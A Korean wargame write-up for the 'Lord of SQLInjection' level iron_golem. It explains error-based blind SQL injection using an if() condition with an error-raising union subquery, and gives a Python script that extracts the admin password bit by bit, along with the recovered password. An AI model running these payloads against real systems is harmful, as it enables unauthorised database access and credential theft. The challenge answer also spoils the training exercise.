[WriteUp]/[Lord Of SQLInjection] iron_golem

2025. 4. 28. 12:48Hacking/WebHacking Wargame Writeup

- 문제 해결 keypoint

-> 웹 요청에 대한 응답 시간의 차이를 이용해 pw를 찾아야 함

-> 해당 방법에 사용되는 sleep과 benchmark 함수가 필터링 목록에 있기 때문에 사용 불가.

-> 쿼리문에 에러가 발생할 경우 에러를 출력해주고 exit 발생 → 에러의 발생 여부만 파악 가능

=> 에러가 발생하지 않으면 참이고, 발생하면 거짓이라고 판별할 수 있도록 쿼리문을 짜면 pw에 대한 정보를 파악 가능

-> 쿼리문에 조건문이 포함되어야 하는데, MySQL에서는 if문을 사용

-> MSSQL은 CASE문을 사용

#따라야 하는 if문의 형식
if(조건, 참일 때의 결과, 거짓일 때의 결과)

 

거짓일 때의 결과로 에러를 발생시키는 서브 쿼리문을 삽입함

=> (select 1 union select 2)라는 서브 쿼리문을 넣는다.

Subquery returns more than 1 row

-> 단독으로 사용되면 정상 코드

-> if문 내에서 서브쿼리로 작성되는 경우 에러 발생

-> 원인 : id 칼럼의 한 row에 2개의 row를 삽입하려고 해서

select 1 union select 2

-> 서브쿼리로 생성된 2개의 row는 id 칼럼 하나의 row에 삽입될 수 없기 때문에 에러 문구가 출력된다.

 

Solution

-> pw의 길이를 찾는 쿼리를 작성

[도메인 주소]?pw=' or id='admin' and if(length(pw)=1,1,(select 1 union select 2))%23

-> 서브 쿼리의 pw 길이가 일치하지 않을 때

-> 1~32까지 끼워맞추기식으로 시도해서 서브쿼리의 pw 길이가 32라는 것을 알아냄

=> length(pw)가 32

substr(lpad(bin(ord(substr(pw, i, 1))), bit_length, 0), j, 1) = 1

=> pw의 각 글자(i)를 substr 함수로 추출한 다음, 추출한 글자의 aascii 코드 값(ord)을 2진수(bin)로 변환한다.

-> lpad 함수는 변환된 2진수의 값을 16bits로 맞춰주기 위한 패딩 함수

-> 변환된 2진수가 5bit라면, 맨 왼쪽부터 나머지 11bit를 0으로 채워준다. 

변환된 2진수의 각 자리를 substr 함수로 또 추출해 1인지 0인지 각 비트마다 비교해서 pw의 각 글자의 이진수값을 알아낸다.

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
headers = {'Cookie':'PHPSESSID=본인의 세션 아이디'}
URL = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?"
pw_length = 32
 
bit_length = 16
pw = ''
 
print("\n=== Find Password ===\n")
 
for i in range(1, pw_length+1):
    bit = ''
    
    for j in range(1, bit_length+1):
        payload = "pw=' or id='admin' and if(substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1,1,(select 1 union select 2))%23".format(i, bit_length, j)
        res = requests.get(url=URL+payload, headers=headers, verify=False)
        
        if 'Subquery' in res.text:
            # 에러 발생 => bit == 0
            bit += '0'
        else:
            # True -> bit == 1
            bit += '1'
 
    pw += chr(int(bit, 2))
    print("pw (count %02d): %s (bit: %s, hex: %s)" % (i, chr(int(bit, 2)), bit, hex(int(bit, 2))))
 
print('\n>>> Final Password: %s' % pw)

 

Python 3 버전으로 작성한 코드

-> VScode로 돌려본 결과, pw는 06b5a6c16e8830475f983cc3a825ee9a

 

[도메인 주소]?pw=06b5a6c16e8830475f983cc3a825ee9a